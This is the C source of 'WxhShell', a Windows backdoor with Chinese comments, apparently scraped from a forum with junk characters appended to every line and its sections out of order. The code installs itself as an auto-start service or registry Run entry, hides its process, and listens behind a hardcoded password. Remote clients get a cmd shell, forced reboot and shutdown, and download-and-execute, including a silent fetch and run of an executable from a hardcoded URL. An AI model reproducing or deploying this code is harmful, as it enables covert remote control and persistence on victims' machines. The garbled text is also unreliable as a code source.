    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8w\&QX  
    if(Boot(SHUTDOWN)) 4 P.ry|2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TS-[p d  
    else { (mzyA%;W  
    closesocket(wsh); ~DSle 3  
    ExitThread(0); ,{%[/#~6  
    } @{bf]Oc  
    break; !"wIb.j }0  
    } QRRZMdEGs[  
  // 获取shell up`6IWlLE  
  case 's': { _*+M'3&=  
    CmdShell(wsh); yO !*pC  
    closesocket(wsh); h0GXN\xI  
    ExitThread(0); hAY_dM  
    break; [=iq4F'7  
  } f"[C3o2P  
  // 退出 vt1!|2{ h  
  case 'x': { d"V^^I)yx&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _|F h^hq  
    CloseIt(wsh); u+]zi"k^s  
    break; ^Tl|v'   
    } %T&kK2d;  
  // 离开 MT3UJ6~P  
  case 'q': { rC'97`!K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g}f@8;TY  
    closesocket(wsh); g ,.iM8  
    WSACleanup(); wBr0s *1I  
    exit(1); Z$q}y 79^  
    break; J9o ]$.e  
        } /rquI y^  
  } #PiW\Tq  
  } 6pH.sX$!_  
2 nf{2edC  
  // 提示信息 6(eyUgnb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )!0>2,R1  
} U+\\#5$  
  } uG/Zpi  
i6[Hu8  
  return; Ts.6 1Rx  
} oRCj]9I$  
XX+4X*(o  
// shell模块句柄 + 5 05  
int CmdShell(SOCKET sock) G-Y8<mEh  
{ Baq&>]  
STARTUPINFO si; s01n[jQ  
ZeroMemory(&si,sizeof(si)); x]F:~(P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AH;h#dT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PJ);d>tz  
PROCESS_INFORMATION ProcessInfo; [z/OY&kF  
char cmdline[]="cmd"; EayZ*e ]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .(! $j-B  
  return 0; Ygg+*z  
} ?8`b  
d5h:py5  
// 自身启动模式 5Ba eHzI  
int StartFromService(void) ,}J(&  
{ q>,i `*  
typedef struct 1B2>8 N  
{ C}7Sh6  
  DWORD ExitStatus; JVN0];IL}  
  DWORD PebBaseAddress; xgfK0-T|[  
  DWORD AffinityMask; 6L8wsz CW  
  DWORD BasePriority; 0DGXMO$;  
  ULONG UniqueProcessId; T$SGf.-  
  ULONG InheritedFromUniqueProcessId; }LOAT$]XI  
}   PROCESS_BASIC_INFORMATION; Lb(=:Z!{  
B%[Yu3gBo  
PROCNTQSIP NtQueryInformationProcess; [/'W#x  
h/5.>[VwDh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f`T#=6C4|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +dlN^P647  
|'.\}xt7  
  HANDLE             hProcess; Uh{|@D  
  PROCESS_BASIC_INFORMATION pbi; yH irm|o  
a8NL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WSUU_^.  
  if(NULL == hInst ) return 0; n%A)#AGGc  
usU5q>1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); | X! d*4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nzU^G)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "OkJPu2!W  
Nv w'[?m  
  if (!NtQueryInformationProcess) return 0; !ouJ3Jn   
|%Pd*yZA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CnN PziB  
  if(!hProcess) return 0; ~8Z)e7 j  
`C$.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !2=< MO  
Ns Pt1_ Y8  
  CloseHandle(hProcess); n' &:c}zKO  
`-IX"rf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lx(kbSxF  
if(hProcess==NULL) return 0; :hC+r=!I  
l%L..WCT]  
HMODULE hMod; cJ=0zEv  
char procName[255]; <A<N? `"  
unsigned long cbNeeded; /d*d'3{c  
N 8 n`f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bu$YW'  
o-c.D=~  
  CloseHandle(hProcess); "=@X>jUc  
f<?v.5($  
if(strstr(procName,"services")) return 1; // 以服务启动 MDAJ p>o  
;Lr]w8d  
  return 0; // 注册表启动 B^nE^"b  
} m5`<XwD9  
v;1<K@UT  
// 主模块 5Sl vCL  
int StartWxhshell(LPSTR lpCmdLine) BS!VAHO"V  
{ V^apDV\AV  
  SOCKET wsl; /6QwV->  
BOOL val=TRUE; *> LA30R*v  
  int port=0; ;LD!eWSK,  
  struct sockaddr_in door; 5o2w)<d!  
B)*?H=f/  
  if(wscfg.ws_autoins) Install(); B:;$5PUTc  
NCL!|  
port=atoi(lpCmdLine); '*lVVeSiFw  
 >cw%ckE  
if(port<=0) port=wscfg.ws_port; gaV>WF  
Qh3BI?GZ'3  
  WSADATA data; }LeizbU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wwUa+6?  
(ZSd7qH"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _Oc5g5_{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -?nr q <3  
  door.sin_family = AF_INET; t\S=u y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xl>8B/Zmf#  
  door.sin_port = htons(port); kn %i#Fz  
8}C_/qeM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , Ox$W  
closesocket(wsl); Q,v/]bXd  
return 1; []OmztB  
} gxPu/VD4  
%[B^b)2  
  if(listen(wsl,2) == INVALID_SOCKET) { &Ql$7: r  
closesocket(wsl); #|8Ia:=s  
return 1; >UNx<=ry  
} z* k(` '  
  Wxhshell(wsl); |r['"6  
  WSACleanup(); XCvL`  
Cg_9V4h.C  
return 0; u'`eCrKT*  
SFJ"(ey$  
} lV".-:u_  
uo`zAKM&A  
// 以NT服务方式启动 " rA-u)Te  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z>]P_E~`}  
{ fQQj2> 3w  
DWORD   status = 0; ;-kC&GZf  
  DWORD   specificError = 0xfffffff; R`KlG/Tk  
` {/"?s|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {f"oqry_g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~)CGwST[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qf T71o(  
  serviceStatus.dwWin32ExitCode     = 0; WF] |-)vw  
  serviceStatus.dwServiceSpecificExitCode = 0; ghGpi U$  
  serviceStatus.dwCheckPoint       = 0; ZSvU1T8  
  serviceStatus.dwWaitHint       = 0; _$+BYK@  
7K5 tBUNQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `NySTd)\  
  if (hServiceStatusHandle==0) return; q?y-s  
{ k>T*/  
status = GetLastError(); ;&c9!LfP  
  if (status!=NO_ERROR) ?`T Q'#P`  
{ L8,/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0@yw#.j  
    serviceStatus.dwCheckPoint       = 0; Q@ua G,6  
    serviceStatus.dwWaitHint       = 0; >npTUOGL=n  
    serviceStatus.dwWin32ExitCode     = status; (1e,9!?  
    serviceStatus.dwServiceSpecificExitCode = specificError; O!se-h5mW8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MFeY}_d<  
    return; fU<_bg  
  } 8'qq!WR~  
U3u j`Oq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y**YFQ*sc  
  serviceStatus.dwCheckPoint       = 0; 7bk`u'0%  
  serviceStatus.dwWaitHint       = 0; 1 R,SA:L$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IFsh"i  
} ]w0_!Z&  
[2{2w68D!  
// 处理NT服务事件,比如:启动、停止 p~WX\;   
VOID WINAPI NTServiceHandler(DWORD fdwControl) "^Vnnb:Z*o  
{ &6e A.  
switch(fdwControl) / %1-tGh  
{ zJ)`snN|  
case SERVICE_CONTROL_STOP: t|P+^SL  
  serviceStatus.dwWin32ExitCode = 0; 6L"b O'_5K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _1G;!eO  
  serviceStatus.dwCheckPoint   = 0; G5hf m-  
  serviceStatus.dwWaitHint     = 0; f cnv[B..{  
  { jr(|-!RVMN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < &kl:|  
  } ?{L5=X@$$  
  return;  s2`}~  
case SERVICE_CONTROL_PAUSE: -e O>d}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [gGo^^aW#  
  break; L"RE[" m  
case SERVICE_CONTROL_CONTINUE: O{x-9p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j1 H eX  
  break; ~p?D[]h  
case SERVICE_CONTROL_INTERROGATE: 3S .2  
  break; @ 3rJ$6W  
}; 3"Zc|Ck <?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .=N?;i  
} )# v}8aL  
ka@yQV  
// 标准应用程序主函数 5(t hDZ!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QtA@p  
{ MxOIe|=&  
&z05h<]  
// 获取操作系统版本 N :OLN[  
OsIsNt=GetOsVer(); 2 ?F?C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z.`0  
4-BrE&2f  
  // 从命令行安装 rgo!t028^  
  if(strpbrk(lpCmdLine,"iI")) Install(); (%'`t(<  
P~84#5R1  
  // 下载执行文件 z))rk vL%  
if(wscfg.ws_downexe) { N)/7j7c~;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c*r@QmB:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9a#Y D;-p  
} LJA uTg  
EMPujik-  
if(!OsIsNt) { v6H!.0  
// 如果时win9x,隐藏进程并且设置为注册表启动 XMzQ8|]  
HideProc(); P{HR='2  
StartWxhshell(lpCmdLine); JkI|Ojmm/  
} hcpe~spz9|  
else .pG`/[*a  
  if(StartFromService()) 558!?kx$  
  // 以服务方式启动 J| 1!4R~  
  StartServiceCtrlDispatcher(DispatchTable); `YY07(%  
else FE1'MUT_  
  // 普通方式启动 Y.q$"lm7k  
  StartWxhshell(lpCmdLine); IOa@dUh7a,  
Wj8WT)cB  
return 0; ^B8 [B&K  
} [b3$em<^JV  
7Y)i>[u3  
V/xjI<,  
0+K<;5"63d  
=========================================== `a[ V_4wO  
j )wrF@W  
7[0<,O6Q  
?w&?P}e +  
&;R BG$t  
pd|l&xvka  
" H6Ytp^~>  
_0y]U];ce  
#include <stdio.h> OKAmw >{  
#include <string.h> 21my9Ui]  
#include <windows.h> ps^["3e  
#include <winsock2.h> *uSlp_;kB  
#include <winsvc.h> ZENblh8fs  
#include <urlmon.h> OnyAM{$g  
T+PERz(  
#pragma comment (lib, "Ws2_32.lib") ~>Y^?l  
#pragma comment (lib, "urlmon.lib") Y5y7ONcn  
;X:Bh8tEV  
#define MAX_USER   100 // 最大客户端连接数 8K@e8p( y  
#define BUF_SOCK   200 // sock buffer Md0`/F:+2  
#define KEY_BUFF   255 // 输入 buffer 3[@:I^q  
d6ifJ  
#define REBOOT     0   // 重启 RU~Pa+H  
#define SHUTDOWN   1   // 关机 TEbIU8{Y  
%.wx]:o  
#define DEF_PORT   5000 // 监听端口 )LNKJe+  
P`S'F_IN  
#define REG_LEN     16   // 注册表键长度 !=HxL-`j  
#define SVC_LEN     80   // NT服务名长度 3BAQ2S}  
7%&e4'SZO  
// 从dll定义API k@pEs# a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G *<g%"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T+S\'f\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RB6TM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nm)/BK  
bN|1%[7  
// wxhshell配置信息 (=j/"Mb  
struct WSCFG { qiq=v)  
  int ws_port;         // 监听端口 ;&!Q N#_  
  char ws_passstr[REG_LEN]; // 口令 0b<Qs88yd>  
  int ws_autoins;       // 安装标记, 1=yes 0=no F0"("4h:  
  char ws_regname[REG_LEN]; // 注册表键名 a '?LC)^  
  char ws_svcname[REG_LEN]; // 服务名 UR(i_T&w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t0za%q!fK<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xiL+s-   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sGh TP/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JxKd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /8u}VYE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a/3yn9`sQ  
"yl6WG# J  
}; >jnx2$  
N8,g~?r^  
// default Wxhshell configuration "Z~@"JLb%  
struct WSCFG wscfg={DEF_PORT, F=PBEaX  
    "xuhuanlingzhe", QIdml*Np?H  
    1, =4L%A=]`  
    "Wxhshell", 3lKs>HE0  
    "Wxhshell", />uE)R$  
            "WxhShell Service", /7ShE-.5#  
    "Wrsky Windows CmdShell Service", I,aaSBwt&2  
    "Please Input Your Password: ", uL:NWgN  
  1, e;LC\*dG  
  "http://www.wrsky.com/wxhshell.exe", gQ|?~hYYv  
  "Wxhshell.exe" ?kRx;S+  
    }; tOZ-]>U  
P)~olrf  
// 消息定义模块 LoSrXK~0~J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LMN`<R(q]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YRv}w3yQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QWWI  
char *msg_ws_ext="\n\rExit."; crx%;R   
char *msg_ws_end="\n\rQuit."; N/1xc1$SB  
char *msg_ws_boot="\n\rReboot..."; jthyZZ   
char *msg_ws_poff="\n\rShutdown..."; V2:S 9vO'  
char *msg_ws_down="\n\rSave to "; 4F<wa s/  
ScQ9p379  
char *msg_ws_err="\n\rErr!"; 9j}Q~v\  
char *msg_ws_ok="\n\rOK!"; Q=Q&\.<  
W}|k!_/  
char ExeFile[MAX_PATH]; Hq&MePl[  
int nUser = 0; :*R+ee,& -  
HANDLE handles[MAX_USER]; nITkgN:s  
int OsIsNt; |x=(}g  
,#9i=gp  
SERVICE_STATUS       serviceStatus; +i}uRO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IR&b2FTcU  
6BZi4:PDx  
// 函数声明 7#*`7 K'P!  
int Install(void); #KuBEHr  
int Uninstall(void); :bCswgd[  
int DownloadFile(char *sURL, SOCKET wsh); wzcv[C-x  
int Boot(int flag); #MviO!@  
void HideProc(void); 9`CJhu  
int GetOsVer(void); iAeq%N1(0  
int Wxhshell(SOCKET wsl); BQv*8Hg B6  
void TalkWithClient(void *cs); AbQ nx%$u  
int CmdShell(SOCKET sock); aU$8 0  
int StartFromService(void); 0d89>UB-8q  
int StartWxhshell(LPSTR lpCmdLine); H> n;[  
|Qpd<L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g6$\i m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _s:5)  
) bd`U  
// 数据结构和表定义 Yf1%7+V35  
SERVICE_TABLE_ENTRY DispatchTable[] = mZ0_^  
{ 8M]QDgd.  
{wscfg.ws_svcname, NTServiceMain}, -vh\XO  
{NULL, NULL} mR#"ng  
}; @Hr1.f  
qZlL6  
// 自我安装 L"uidd0(g  
int Install(void) A6xN6{R!  
{ tItI^]w2s  
  char svExeFile[MAX_PATH]; B"`86qc  
  HKEY key; d6zq,x!cI  
  strcpy(svExeFile,ExeFile); %][zn$aa|  
9U@>&3[v  
// 如果是win9x系统,修改注册表设为自启动 x4`|[  
if(!OsIsNt) { k`\L-*:Ji  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +xU=7chA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7c<_j55(  
  RegCloseKey(key); &Gm3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K]^Jl0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XAB/S8e  
  RegCloseKey(key); #wGOlW;R  
  return 0; [t*-s1cq  
    } \SWuylE  
  } RGBntp%  
} `2j"Z.=  
else { aCyn9Y$=  
D+h`Z]"|  
// 如果是NT以上系统,安装为系统服务 PpSQf14,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R#ya9GN{  
if (schSCManager!=0) qg*xdefQ%  
{ xj5MKX{CJT  
  SC_HANDLE schService = CreateService DtZ7UX\P  
  ( m$g{&  
  schSCManager, n0uL^{B  
  wscfg.ws_svcname, VT;cz6"6b4  
  wscfg.ws_svcdisp, _z#S8Y  
  SERVICE_ALL_ACCESS, kPSi6ci  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >^v,,R8j  
  SERVICE_AUTO_START, }To-c'  
  SERVICE_ERROR_NORMAL, 7!e kINQ  
  svExeFile, z:08;}t  
  NULL, !1<>][F  
  NULL, JP]-a!5Ru  
  NULL, 8vj]S5  
  NULL, aOEW$%  
  NULL )-i(%;,*e  
  ); FX~pjM  
  if (schService!=0) R?:(~ X\  
  { 99[v/L>F  
  CloseServiceHandle(schService); ei[,ug'  
  CloseServiceHandle(schSCManager); =[)2DJC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <}%gZ:Z6g  
  strcat(svExeFile,wscfg.ws_svcname); vfh\X1Ui}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '=UsN_@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )<T2J0*  
  RegCloseKey(key); ^>s{o5H&  
  return 0; hgdr\ F  
    } ?~;q r  
  } |e2s{J2   
  CloseServiceHandle(schSCManager); fh&Q(:ZU  
} !6J+#  
} Enhrkk  
pQ`S%]k.<  
return 1; 't475?bY  
} :|=Xh"l"  
@[;$R@M_3  
// 自我卸载 OuB [[L  
int Uninstall(void) 1+ V<-I@{  
{ Oz=!EG|N  
  HKEY key; {dvsZJj  
.Txwp?};  
if(!OsIsNt) { X- SR0x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(kaC.Em  
  RegDeleteValue(key,wscfg.ws_regname); #aadnbf  
  RegCloseKey(key); bFfDaO<k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rts}y:44  
  RegDeleteValue(key,wscfg.ws_regname); fBP J8VY  
  RegCloseKey(key); 3e|,Z'4}4  
  return 0; zzX9Q:  
  } {<2q  
} l, -q:8  
} w)}@svv"  
else { Y_nlIcu  
-M-y*P)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f/i[? gw  
if (schSCManager!=0)  \>e>J\t:  
{ 9|>5;Ej  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T{Yk/Z/}?  
  if (schService!=0) *35o$P46  
  { wtfM }MW\  
  if(DeleteService(schService)!=0) { D!bi>]Yd  
  CloseServiceHandle(schService); DE$T1pFV  
  CloseServiceHandle(schSCManager); N| |s#  
  return 0; [Ib17#74  
  } u6/;=]0   
  CloseServiceHandle(schService); s1zkkLw`*  
  } :LD+B1$y  
  CloseServiceHandle(schSCManager); ^bXCYkx  
} R-\"^BV#Z  
} SXmh@a"*\  
K(}<L-cv  
return 1; .u;'eVH)a}  
} ^I!gteU;  
L%f$ &  
// 从指定url下载文件 `e+eL*rZ~  
int DownloadFile(char *sURL, SOCKET wsh) jq+:&8!8(e  
{ |d_ rK2  
  HRESULT hr; l4q7,%G  
char seps[]= "/"; ~#iAW@  
char *token; uF]+i^+  
char *file; T`)uR*$  
char myURL[MAX_PATH]; ~VJP:Y{[  
char myFILE[MAX_PATH]; #EO],!JM  
E>qehs,g  
strcpy(myURL,sURL); cONfHl{  
  token=strtok(myURL,seps); ` aaT #r  
  while(token!=NULL) .%mjE'  
  { suZ`  
    file=token; /S%!{;:  
  token=strtok(NULL,seps); |r53>,oR<:  
  } 6 ZVD<C:\  
|( R[5q  
GetCurrentDirectory(MAX_PATH,myFILE); )auuk<  
strcat(myFILE, "\\"); f8 L3+u  
strcat(myFILE, file); zuBfkW95+  
  send(wsh,myFILE,strlen(myFILE),0); Q37zBC 0  
send(wsh,"...",3,0); i<{/r-w=E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z/I`XPmk  
  if(hr==S_OK) R]_fe4Y0  
return 0; hFt~7R  
else 0"=}d y  
return 1; x`p3I*_HT5  
.y~~[QF}8  
} "RsH'`  
)jN fQ!?/  
// 系统电源模块 edh<L/%D  
int Boot(int flag) '5n=tRx  
{ JLV?n,nF  
  HANDLE hToken; NKw}VW'|  
  TOKEN_PRIVILEGES tkp; ~sc@49p  
|n.ydyu`  
  if(OsIsNt) { | b)N;t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O; <YLS^|6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z!qF0UDj  
    tkp.PrivilegeCount = 1; P+;@?ofB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =v/x&,Uj@6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M.}QXta  
if(flag==REBOOT) { .s<tQU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 74*iF'f?c  
  return 0; "_/5{Nc$  
} hdee]qLS  
else { vghn+P8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &8 4Izs/[  
  return 0; [{9&KjI0K  
} Q@#Gm9m  
  } @GE:<'_:{  
  else { l ~ /y  
if(flag==REBOOT) { \{`*`WQF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K?aUIkVs  
  return 0; V3}$vKQ  
} *gXm&/2*  
else { 7S9Q{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XvW $B|  
  return 0; 7q:  
} NbW5a3=  
} <(-4?"1  
X+XbIbUuL  
return 1; 64qQ:D7C  
} y2Z1B2E%f  
vR"<:r47?  
// win9x进程隐藏模块 hTbot^/  
void HideProc(void) t9 m],aH  
{ mPo].z  
_a=f.I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \78kShx  
  if ( hKernel != NULL ) T?E[LzZg  
  { ZI#Xh5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dbLxm!;(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I Ux svW+  
    FreeLibrary(hKernel); b(H) 8#C  
  } A'X, zw^}  
n;Etn!4M  
return; Dbo.N`  
} *d/]-JN,K  
H=k*;'  
// 获取操作系统版本 v;@-bED(Qs  
int GetOsVer(void) & A<Pf.Us  
{ ;F<)BEXC<  
  OSVERSIONINFO winfo; h8_~ OX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3 ,?==?  
  GetVersionEx(&winfo); Aw *:5I[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k)R>5?_  
  return 1; k|}S K9  
  else JP<Z3 A2q  
  return 0; ~0>{PD$@  
} <=,KP)   
>h m<$3  
// 客户端句柄模块 wc'K=;c  
int Wxhshell(SOCKET wsl) lCyp&b#(L  
{ XL7jUi_4:L  
  SOCKET wsh; n`hes_{,g  
  struct sockaddr_in client; s~6irf/  
  DWORD myID; L"6@3  
kY6))9 O  
  while(nUser<MAX_USER) -m~[z  
{ \;A\ vQ[  
  int nSize=sizeof(client); D0&{iZ(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z[wk-a+w  
  if(wsh==INVALID_SOCKET) return 1; Kv:ih=?  
Zb7:qe<UN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a JDu_  
if(handles[nUser]==0) RFu]vFff  
  closesocket(wsh); c!%:f^7g  
else 'HV}Tr  
  nUser++; PF(P"f.?D  
  } ,uP1U@Cas  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AcF;5h  
1dK^[;v>3  
  return 0; /vB%gqJvX  
} gU}?Yy  
7M1*SC  
// 关闭 socket T<0Bq"'%  
void CloseIt(SOCKET wsh) :q4 Mnr  
{ ;G3{ e  
closesocket(wsh); `v)-v<  
nUser--; FB PT@`~v  
ExitThread(0); a|\_'#  
} ~>)GW  
 iV71t17  
// 客户端请求句柄 WiL~b =fT  
void TalkWithClient(void *cs) P + nT%  
{ O,[aL;v  
X 3Vpxtb  
  SOCKET wsh=(SOCKET)cs; n.y72-&v  
  char pwd[SVC_LEN]; AsM""x1Ix  
  char cmd[KEY_BUFF]; hGF(E*  
char chr[1]; sh?Dxodp9  
int i,j; N3H!ptn37  
>}/"g x  
  while (nUser < MAX_USER) { &w3LMOT  
8X]j;Rb  
if(wscfg.ws_passstr) { ~4*9w3t   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q6{%vd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )x"Z$jIs  
  //ZeroMemory(pwd,KEY_BUFF); H2RNekck  
      i=0; ,Fg&<Be}Jx  
  while(i<SVC_LEN) { ?lU]J]  
y\ @;s?QL  
  // 设置超时 ASaG }h  
  fd_set FdRead; -zz9k=q  
  struct timeval TimeOut; ][bz5aV  
  FD_ZERO(&FdRead); _ #l b\  
  FD_SET(wsh,&FdRead); );;UNO21+  
  TimeOut.tv_sec=8; Z-H Kdv!d  
  TimeOut.tv_usec=0; # dxlU/*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g m],  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s:cS 9A8  
Q ;5'I3w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k< W]VS3N  
  pwd=chr[0]; :"O=/p+*Us  
  if(chr[0]==0xd || chr[0]==0xa) { #D+Fq^="P  
  pwd=0; 6M$.gX G.  
  break; Qq]UEI `Go  
  } '7'cKp  
  i++; ^ I,1kl~i  
    } &TWO/F+Y  
!,\9,lc  
  // 如果是非法用户,关闭 socket QbqLj>-AJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8yFD2(#  
} Zml9 ndzT  
Ed*`d>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [dU/;Sk5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~5}b$qL#`  
O t `}eL-  
while(1) { T:.J9  
n3b@ 6V1_  
  ZeroMemory(cmd,KEY_BUFF); i$:CGUb  
x_Ais&Gc  
      // 自动支持客户端 telnet标准   Punbw\9!d,  
  j=0; PD/JXExK  
  while(j<KEY_BUFF) { fBd +gT\S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gh|1%g"gm  
  cmd[j]=chr[0]; +S%@/q  
  if(chr[0]==0xa || chr[0]==0xd) { <)n   
  cmd[j]=0; #^#)OQq]  
  break; Z@C D1+G  
  } s9`T%pg  
  j++; NK#Dq&W+&  
    } [EGE|   
a/)TJv  
  // 下载文件 u{p\8v%7  
  if(strstr(cmd,"http://")) { Bdbw!zRR$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JBUJc  
  if(DownloadFile(cmd,wsh)) N{p2@_fnB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <O\z`aA'q  
  else FT (EH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [V jd )%  
  } 5K6_#g4"  
  else { $V~%$  
Fx3VQ'%J  
    switch(cmd[0]) { s9[v_(W  
  At bqj?  
